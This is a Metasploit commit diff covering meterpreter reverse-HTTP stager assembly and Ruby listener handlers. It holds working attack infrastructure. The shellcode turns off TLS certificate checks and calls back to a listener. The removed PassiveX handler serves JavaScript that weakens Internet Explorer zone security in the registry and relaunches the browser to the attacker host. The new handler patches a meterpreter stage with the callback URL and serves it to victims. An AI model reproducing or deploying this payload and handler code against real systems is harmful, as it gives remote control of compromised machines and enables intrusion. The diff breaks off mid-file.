Merge in recent meterpreter work. These are not the commits you are looking for (more info on what all this is later this week).
git-svn-id: file:///home/svn/framework3/trunk@13053 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
dc1e42af2c
commit
9220506ba2
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -23,7 +23,7 @@ internetopen:
|
|||
push edi ; LPCTSTR lpszProxyBypass
|
||||
push edi ; LPCTSTR lpszProxyName
|
||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push esi ; LPCTSTR lpszAgent
|
||||
push esi ; LPCTSTR lpszAgent ("wininet\x00")
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
|
@ -49,10 +49,9 @@ httpopenrequest:
|
|||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
|
||||
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
;0x00800000 | ; INTERNET_FLAG_SECURE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
||||
|
@ -69,9 +68,20 @@ httpopenrequest:
|
|||
mov esi, eax ; hHttpRequest
|
||||
|
||||
set_retry:
|
||||
push byte 0x02
|
||||
push byte 0x10
|
||||
pop ebx
|
||||
|
||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||
set_security_options:
|
||||
push 0x00003380
|
||||
mov eax, esp
|
||||
push byte 4 ; sizeof(dwFlags)
|
||||
push eax ; &dwFlags
|
||||
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
|
||||
httpsendrequest:
|
||||
xor edi, edi
|
||||
push edi ; optional length
|
||||
|
@ -84,35 +94,10 @@ httpsendrequest:
|
|||
test eax,eax
|
||||
jnz short allocate_memory
|
||||
|
||||
check_ssl:
|
||||
|
||||
; In the case of an invalid certificate authority, we have to wait until the error occurs,
|
||||
; set an option to disable it, then try it all over again. This wastes shellcode space,
|
||||
; but its required to use this payload without a valid signed cert.
|
||||
; push 0x5DE2C5AA ; hash( "kernel32.dll", "GetLastError" )
|
||||
; call ebp
|
||||
; cmp al, 0x0d ; ERROR_INTERNET_INVALID_CA (0x2f0d)
|
||||
|
||||
; Instead of wasting more bytes on GetLastError (which isn't resolving properly on Windows XP),
|
||||
; we just try a second time if the initial send fails. This provides us with a real retry
|
||||
; mechanism for free.
|
||||
try_it_again:
|
||||
dec ebx
|
||||
jz failure
|
||||
|
||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||
set_security_options:
|
||||
push 0x00003380
|
||||
mov eax, esp
|
||||
push byte 4 ; sizeof(dwFlags)
|
||||
push eax ; &dwFlags
|
||||
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
; pop eax ; clear temporary storage (optional)
|
||||
|
||||
; Try it again
|
||||
jmp short httpsendrequest
|
||||
jmp short set_security_options
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
|
19
external/source/shellcode/windows/x86/src/stager/stager_reverse_http.asm
vendored
Executable file
19
external/source/shellcode/windows/x86/src/stager/stager_reverse_http.asm
vendored
Executable file
|
@ -0,0 +1,19 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (24 July 2009)
|
||||
; Size: 274 bytes
|
||||
; Build: >build.py stager_reverse_tcp_nx
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_reverse_http.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -84,7 +84,7 @@ module Exploit::Remote::HttpServer
|
|||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
|
||||
# Default the server host and port to what is required by the mixin.
|
||||
opts = {
|
||||
'ServerHost' => datastore['SRVHOST'],
|
||||
|
@ -317,7 +317,7 @@ module Exploit::Remote::HttpServer
|
|||
# All of this will be for naught in the case of a user behind NAT using a
|
||||
# bind payload but there's nothing we can do about it.
|
||||
#
|
||||
# NOTE: The address will be incorrect when
|
||||
# NOTE: The address will be incorrect when
|
||||
# a) LHOST is pointed at a multi/handler on some other box.
|
||||
# or
|
||||
# b) SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
|
||||
|
@ -829,7 +829,7 @@ module Exploit::Remote::HttpServer::PHPInclude
|
|||
datastore["SSL"] = false
|
||||
start_service
|
||||
datastore["SSL"] = old_ssl
|
||||
|
||||
|
||||
#if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
|
||||
# print_error("Warning: the URL used for the include might be wrong!")
|
||||
# print_error("If the target system can route to #{srvhost_addr} it")
|
||||
|
|
|
@ -202,7 +202,7 @@ protected
|
|||
|
||||
return s
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -1,514 +0,0 @@
|
|||
require 'rex/io/stream_abstraction'
|
||||
require 'rex/sync/ref'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the PassiveX reverse HTTP tunneling interface.
|
||||
#
|
||||
###
|
||||
module PassiveX
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This class wrappers the communication channel built over the HTTP
|
||||
# communication protocol between a local session and the remote HTTP
|
||||
# client.
|
||||
#
|
||||
###
|
||||
class PxSessionChannel
|
||||
|
||||
include Rex::IO::StreamAbstraction
|
||||
|
||||
module PxSocketInterface
|
||||
|
||||
def type?
|
||||
'tcp'
|
||||
end
|
||||
|
||||
def shutdown(how)
|
||||
return false if not remote
|
||||
begin
|
||||
return (remote.shutdown(how) == 0)
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
def peerinfo
|
||||
if (pi = getpeername)
|
||||
return pi[1] + ':' + pi[2].to_s
|
||||
end
|
||||
end
|
||||
|
||||
def localinfo
|
||||
if (pi = getlocalname)
|
||||
return pi[1] + ':' + pi[2].to_s
|
||||
end
|
||||
end
|
||||
|
||||
def getlocalname
|
||||
getsockname
|
||||
end
|
||||
|
||||
def getsockname
|
||||
return [2,'',''] if not remote
|
||||
remote.getsockname
|
||||
end
|
||||
|
||||
def getpeername
|
||||
return [2,'',''] if not remote
|
||||
remote.getpeername
|
||||
end
|
||||
|
||||
attr_accessor :remote
|
||||
end
|
||||
|
||||
def initialize(sid)
|
||||
@remote = nil
|
||||
@sid = sid
|
||||
@remote_queue = ''
|
||||
|
||||
initialize_abstraction
|
||||
|
||||
# sf: we don't include Rex::Socket::Tcp as it messes with closing passivex sessions.
|
||||
lsock.extend( PxSocketInterface )
|
||||
lsock.remote = nil
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the stream abstraction and kills the monitor thread.
|
||||
#
|
||||
def close
|
||||
cleanup_abstraction
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the remote HTTP client that is to be used for tunneling output
|
||||
# data to the client side.
|
||||
#
|
||||
def remote=(cli)
|
||||
# If we already have a remote, then close it now that we have a new one.
|
||||
if (@remote)
|
||||
begin
|
||||
@remote.server.close_client(@remote)
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
@remote = cli
|
||||
lsock.remote = @remote
|
||||
|
||||
flush_output
|
||||
end
|
||||
|
||||
#
|
||||
# Writes data to the local side of the abstraction that comes in from
|
||||
# the remote.
|
||||
#
|
||||
def write_local(buf)
|
||||
dlog("PassiveX:#{self} Writing #{buf.length} to local side", 'core', LEV_3)
|
||||
|
||||
rsock.put(buf)
|
||||
end
|
||||
|
||||
#
|
||||
# Writes data to the remote HTTP client via an indirect queue.
|
||||
#
|
||||
def write_remote(buf)
|
||||
dlog("PassiveX:#{self} Queuing #{buf.length} to remote side", 'core', LEV_3)
|
||||
|
||||
@remote_queue += buf
|
||||
|
||||
flush_output
|
||||
end
|
||||
|
||||
#
|
||||
# The write function for Rex::IO::StreamAbstraction.monitor_rsock
|
||||
#
|
||||
def write(buf, opts={})
|
||||
write_remote(buf)
|
||||
return buf.length
|
||||
end
|
||||
|
||||
#
|
||||
# The close_write function for Rex::IO::StreamAbstraction.monitor_rsock
|
||||
#
|
||||
def close_write
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Flushes the output queue if there is an associated output HTTP client.
|
||||
#
|
||||
def flush_output
|
||||
return if (@remote_queue == nil or @remote_queue.length == 0)
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
resp.body = @remote_queue
|
||||
# sf: we must specify a content type
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
begin
|
||||
if (@remote)
|
||||
dlog("PassiveX:#{self} Flushing remote output queue at #{resp.body.length} bytes", 'core', LEV_3)
|
||||
# sf: this naughty keepalive was killing the meterpreter over passivex payload, dont re-enable!
|
||||
#@remote.keepalive = false
|
||||
@remote.send_response(resp)
|
||||
@remote = nil
|
||||
@remote_queue = ''
|
||||
end
|
||||
rescue ::Exception
|
||||
dlog("PassiveX:#{self} Exception during remote queue flush: #{$!}", 'core', LEV_0)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# A PassiveX mixin that is used to extend the Msf::Session class in order
|
||||
# to add a reference to the payload handler that created the session in a
|
||||
# guaranteed fashion. In turn, the cleanup routine for the session is
|
||||
# modified to call deref_handler on the payload handler if it's defined.
|
||||
# This is done to ensure that the tunneling handler stays running while
|
||||
# there are sessions that still have references to it.
|
||||
#
|
||||
module PxSession
|
||||
|
||||
def payload_handler=(p)
|
||||
@payload_handler = p
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
|
||||
@payload_handler.deref_handler if (@payload_handler)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Class for wrapping reference counting a specific object for passivex.
|
||||
#
|
||||
class PxRef
|
||||
def initialize
|
||||
refinit
|
||||
end
|
||||
|
||||
include Rex::Ref
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_http'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_http"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the PassiveX HTTP tunneling handler.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('PXHOST', [ true, "The local HTTP listener hostname" ]),
|
||||
OptPort.new('PXPORT', [ true, "The local HTTP listener port", 8000 ]),
|
||||
OptString.new('PXURI', [ false, "The URI root for requests", "/" + Rex::Text.rand_text_alphanumeric(32) ]),
|
||||
OptString.new('PXAXCLSID', [ true, "ActiveX CLSID", "B3AC7307-FEAE-4e43-B2D6-161E68ABA838" ]),
|
||||
OptString.new('PXAXVER', [ true, "ActiveX DLL Version", "-1,-1,-1,-1" ]),
|
||||
], Msf::Handler::PassiveX)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
||||
], Msf::Handler::PassiveX)
|
||||
|
||||
# Initialize the start of the localized SID pool
|
||||
self.sid_pool = 0
|
||||
self.session_channels = Hash.new
|
||||
self.handler_ref = PxRef.new
|
||||
end
|
||||
|
||||
def dll_path
|
||||
File.join(Msf::Config.install_root, "data", "passivex", "passivex.dll")
|
||||
end
|
||||
|
||||
#
|
||||
# Create an HTTP listener that will be connected to and communicated with
|
||||
# by the payload that is injected, and possibly used for tunneling
|
||||
# purposes.
|
||||
#
|
||||
def setup_handler
|
||||
|
||||
comm = datastore['ReverseListenerComm']
|
||||
if (comm.to_s == "local")
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
# Start the HTTP server service on this host/port
|
||||
self.service = Rex::ServiceManager.start(
|
||||
Rex::Proto::Http::Server,
|
||||
datastore['PXPORT'].to_i, datastore['PXHOST'],
|
||||
datastore['SSL'],
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
comm
|
||||
)
|
||||
|
||||
# Add the new resource
|
||||
service.add_resource(datastore['PXURI'],
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request(cli, req)
|
||||
},
|
||||
'VirtualDirectory' => true)
|
||||
|
||||
dlog("PassiveX listener started on http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}", 'core', LEV_2)
|
||||
|
||||
print_status("PassiveX listener started.")
|
||||
end
|
||||
|
||||
#
|
||||
# Simply calls stop handler to ensure that things ar ecool.
|
||||
#
|
||||
def cleanup_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Basically does nothing. The service is already started and listening
|
||||
# during set up.
|
||||
#
|
||||
def start_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the service and deinitializes it.
|
||||
#
|
||||
def stop_handler
|
||||
deref_handler
|
||||
end
|
||||
|
||||
#
|
||||
# PassiveX payloads have a wait-for-session delay of 30 seconds minimum
|
||||
# because it can take a bit of time for the OCX to get registered.
|
||||
#
|
||||
def wfs_delay
|
||||
30
|
||||
end
|
||||
|
||||
#
|
||||
# Called when a new session is created on behalf of this handler. In this
|
||||
# case, we extend the session so that we can track references to the
|
||||
# handler since we need to keep the HTTP tunnel up while the session is
|
||||
# alive.
|
||||
#
|
||||
def on_session(session)
|
||||
super
|
||||
|
||||
# Extend the session, increment handler references, and set up the
|
||||
# session payload handler.
|
||||
session.extend(PxSession)
|
||||
|
||||
handler_ref.ref
|
||||
|
||||
session.payload_handler = self
|
||||
end
|
||||
|
||||
#
|
||||
# Decrement the references to the handler that was used by this exploit.
|
||||
# If it reaches zero, stop it.
|
||||
#
|
||||
def deref_handler
|
||||
if (handler_ref.deref)
|
||||
if (service)
|
||||
Rex::ServiceManager.stop_service(service)
|
||||
|
||||
self.service.deref
|
||||
self.service = nil
|
||||
|
||||
print_status("PassiveX listener stopped.")
|
||||
end
|
||||
|
||||
flush_session_channels
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :service # :nodoc:
|
||||
attr_accessor :sid_pool # :nodoc:
|
||||
attr_accessor :session_channels # :nodoc:
|
||||
attr_accessor :handler_ref # :nodoc:
|
||||
|
||||
#
|
||||
# Processes the HTTP request from the PassiveX client. In this case, when
|
||||
# a request is made to "/", an HTML body is sent that has an embedded
|
||||
# object tag. This causes the passivex.dll to be downloaded and
|
||||
# registered (since registration and downloading have been enabled prior to
|
||||
# this point). After that, the OCX may create a tunnel or download a
|
||||
# second stage if instructed by the server.
|
||||
#
|
||||
def on_request(cli, req)
|
||||
sid = nil
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
|
||||
# Grab the SID if one was supplied in the request header.
|
||||
if (req['X-Sid'] and
|
||||
(m = req['X-Sid'].match(/sid=(\d+?)/)))
|
||||
sid = m[1]
|
||||
end
|
||||
|
||||
# Process the requested resource.
|
||||
case req.relative_resource
|
||||
when "/"
|
||||
# Get a new sid
|
||||
self.sid_pool += 1
|
||||
nsid = sid_pool
|
||||
|
||||
resp['Content-Type'] = 'text/html'
|
||||
# natron 2/27/09: modified to work with IE7/IE8. For some reason on IE8 this can spawn extra set
|
||||
# of processes. It works, so will go ahead and commit changes and debug later to run it down.
|
||||
resp.body = %Q^<html>
|
||||
<object classid="CLSID:#{datastore['PXAXCLSID']}" codebase="#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}">
|
||||
<param name="HttpHost" value="#{datastore['PXHOST']}">
|
||||
<param name="HttpPort" value="#{datastore['PXPORT']}">
|
||||
<param name="HttpUriBase" value="#{datastore['PXURI']}">
|
||||
<param name="HttpSid" value="#{nsid}">^ + ((stage_payload) ? %Q^
|
||||
<param name="DownloadSecondStage" value="1">^ : "") + %Q^
|
||||
</object>
|
||||
<script>
|
||||
var WshShell = new ActiveXObject("Wscript.Shell");
|
||||
var marker = true;
|
||||
var regCheck;
|
||||
var regRange = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\Ranges\\\\random\\\\" //Can be any value
|
||||
var regIntranet = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\1\\\\";
|
||||
|
||||
//Check if we've run this before.
|
||||
try { regCheck = WshShell.RegRead(regRange + "marker"); } catch (e) { marker = false; }
|
||||
|
||||
if (marker == false) {
|
||||
//Modify perms for the Intranet zone.
|
||||
WshShell.RegWrite(regIntranet + "1001",0,"REG_DWORD");
|
||||
WshShell.RegWrite(regIntranet + "1004",0,"REG_DWORD");
|
||||
WshShell.RegWrite(regIntranet + "1200",0,"REG_DWORD");
|
||||
WshShell.RegWrite(regIntranet + "1201",0,"REG_DWORD");
|
||||
WshShell.RegWrite(regIntranet + "1208",0,"REG_DWORD");
|
||||
|
||||
//Map IP to the newly modified zone.
|
||||
WshShell.RegWrite(regRange,1,"REG_SZ");
|
||||
WshShell.RegWrite(regRange + ":Range","#{datastore['PXHOST']}","REG_SZ");
|
||||
WshShell.RegWrite(regRange + "*",1,"REG_DWORD");
|
||||
WshShell.RegWrite(regRange + "marker",1,"REG_DWORD"); //Just a marker
|
||||
|
||||
//Clean up after the original passivex stage1 loader; reset to default IE7 install
|
||||
var regDefault = "HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\3\\\\";
|
||||
WshShell.RegWrite(regDefault + "1001",1,"REG_DWORD");
|
||||
WshShell.RegWrite(regDefault + "1004",3,"REG_DWORD");
|
||||
WshShell.RegWrite(regDefault + "1200",0,"REG_DWORD");
|
||||
WshShell.RegWrite(regDefault + "1201",3,"REG_DWORD");
|
||||
|
||||
//Clean up and delete the created entries
|
||||
setTimeout('WshShell.RegDelete(regIntranet + "1001")', 60000);
|
||||
setTimeout('WshShell.RegDelete(regIntranet + "1004")', 60000);
|
||||
setTimeout('WshShell.RegDelete(regIntranet + "1200")', 60000);
|
||||
setTimeout('WshShell.RegDelete(regIntranet + "1201")', 60000);
|
||||
setTimeout('WshShell.RegDelete(regIntranet + "1208")', 60000);
|
||||
setTimeout('WshShell.RegDelete(regRange)', 60000);
|
||||
|
||||
WshShell.Run("iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}",0,false);
|
||||
}
|
||||
</script>
|
||||
</html>^
|
||||
|
||||
# Create a new local PX session with the supplied sid
|
||||
new_session_channel(nsid)
|
||||
|
||||
print_status("Sending PassiveX main page to client")
|
||||
when "/passivex.dll"
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
resp.body = ''
|
||||
|
||||
File.open(dll_path, "rb") { |f|
|
||||
resp.body = f.read
|
||||
}
|
||||
|
||||
print_status("Sending PassiveX DLL (#{resp.body.length} bytes)")
|
||||
when "/stage"
|
||||
resp.body = generate_stage
|
||||
|
||||
# Now that we've transmitted a second stage, it's time to indicate
|
||||
# that we've found a new session. We call handle_connection using
|
||||
# the lsock of the local stream.
|
||||
if (s = find_session_channel(sid))
|
||||
framework.threads.spawn("PassiveXClient-#{sid}", false, cli) { |cli_copy|
|
||||
begin
|
||||
s.remote = cli_copy
|
||||
handle_connection(s.lsock)
|
||||
rescue ::Exception
|
||||
elog("Exception raised during PX handle connection: #{$!}", 'core', LEV_1)
|
||||
|
||||
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
print_status("Sending stage to sid #{sid} (#{resp.body.length} bytes)")
|
||||
when "/tunnel_in"
|
||||
s.write_local(req.body) if (s = find_session_channel(sid))
|
||||
when "/tunnel_out"
|
||||
cli.keepalive = true
|
||||
resp = nil
|
||||
s.remote = cli if (s = find_session_channel(sid))
|
||||
else
|
||||
resp.code = 404
|
||||
resp.message = "Not found"
|
||||
end
|
||||
|
||||
cli.send_response(resp) if (resp)
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a new session with the supplied sid.
|
||||
#
|
||||
def new_session_channel(sid)
|
||||
self.session_channels[sid.to_i] = PxSessionChannel.new(sid)
|
||||
end
|
||||
|
||||
#
|
||||
# Finds a session based on the supplied sid
|
||||
#
|
||||
def find_session_channel(sid)
|
||||
session_channels[sid.to_i]
|
||||
end
|
||||
|
||||
#
|
||||
# Flushes all existing session_channels and cleans up any resources associated with
|
||||
# them.
|
||||
#
|
||||
def flush_session_channels
|
||||
session_channels.each_pair { |sid, session|
|
||||
session.close
|
||||
}
|
||||
|
||||
session_channels = Hash.new
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,216 @@
|
|||
require 'rex/io/stream_abstraction'
|
||||
require 'rex/sync/ref'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the HTTP SSL tunneling interface.
|
||||
#
|
||||
###
|
||||
module ReverseHttp
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_http'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_http"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the HTTP SSL tunneling handler.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('LHOST', [ true, "The local listener hostname" ]),
|
||||
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
|
||||
], Msf::Handler::ReverseHttps)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
||||
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcible shut down', (24*3600*7)]),
|
||||
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300])
|
||||
], Msf::Handler::ReverseHttps)
|
||||
end
|
||||
|
||||
#
|
||||
# Create a HTTP listener
|
||||
#
|
||||
def setup_handler
|
||||
|
||||
comm = datastore['ReverseListenerComm']
|
||||
if (comm.to_s == "local")
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
# Start the HTTPS server service on this host/port
|
||||
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||
datastore['LPORT'].to_i,
|
||||
'0.0.0.0',
|
||||
false,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
comm
|
||||
)
|
||||
|
||||
# Create a reference to ourselves
|
||||
obj = self
|
||||
|
||||
# Add the new resource
|
||||
service.add_resource("/",
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request(cli, req, obj)
|
||||
},
|
||||
'VirtualDirectory' => true)
|
||||
|
||||
self.conn_ids = []
|
||||
print_status("Started HTTP reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/")
|
||||
end
|
||||
|
||||
#
|
||||
# Simply calls stop handler to ensure that things are cool.
|
||||
#
|
||||
def cleanup_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Basically does nothing. The service is already started and listening
|
||||
# during set up.
|
||||
#
|
||||
def start_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Removes the / handler, possibly stopping the service if no sessions are
|
||||
# active on sub-urls.
|
||||
#
|
||||
def stop_handler
|
||||
self.service.remove_resource("/")
|
||||
end
|
||||
|
||||
attr_accessor :service # :nodoc:
|
||||
attr_accessor :conn_ids
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Parses the HTTPS request
|
||||
#
|
||||
def on_request(cli, req, obj)
|
||||
sid = nil
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
|
||||
|
||||
# Process the requested resource.
|
||||
case req.relative_resource
|
||||
when /^\/A?INITM?/
|
||||
|
||||
url = ''
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
||||
blob = obj.stage_payload
|
||||
|
||||
# Replace the transport string first (TRANSPORT_SOCKET_SSL
|
||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
||||
if i
|
||||
str = "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
print_status("Patched transport at offset #{i}...")
|
||||
|
||||
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
url = "http://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00"
|
||||
blob[i, url.length] = url
|
||||
end
|
||||
print_status("Patched URL at offset #{i}...")
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
print_status("Patched Expiration Timeout at offset #{i}...")
|
||||
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
print_status("Patched Communication Timeout at offset #{i}...")
|
||||
|
||||
resp.body = blob
|
||||
|
||||
conn_ids << conn_id
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => false
|
||||
})
|
||||
when /^\/(CONN_.*)\//
|
||||
resp.body = ""
|
||||
conn_id = $1
|
||||
|
||||
if not self.conn_ids.include?(conn_id)
|
||||
print_status("Incoming orphaned session #{conn_id}, reattaching...")
|
||||
conn_ids << conn_id
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => false
|
||||
})
|
||||
end
|
||||
else
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
|
||||
resp.code = 200
|
||||
resp.message = "OK"
|
||||
resp.body = "<h3>No site configured at this address</h3>"
|
||||
end
|
||||
|
||||
cli.send_response(resp) if (resp)
|
||||
|
||||
# Force this socket to be closed
|
||||
obj.service.close_client( cli )
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -38,28 +38,29 @@ module ReverseHttps
|
|||
register_options(
|
||||
[
|
||||
OptString.new('LHOST', [ true, "The local listener hostname" ]),
|
||||
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
|
||||
OptString.new('TARGETID', [ false, "The ID of this specific payload instance (4 bytes max)", Rex::Text.rand_text_alphanumeric(4)]),
|
||||
OptPort.new('LPORT', [ true, "The local listener port", 8443 ])
|
||||
], Msf::Handler::ReverseHttps)
|
||||
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
||||
], Msf::Handler::ReverseHttps)
|
||||
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcible shut down', (24*3600*7)]),
|
||||
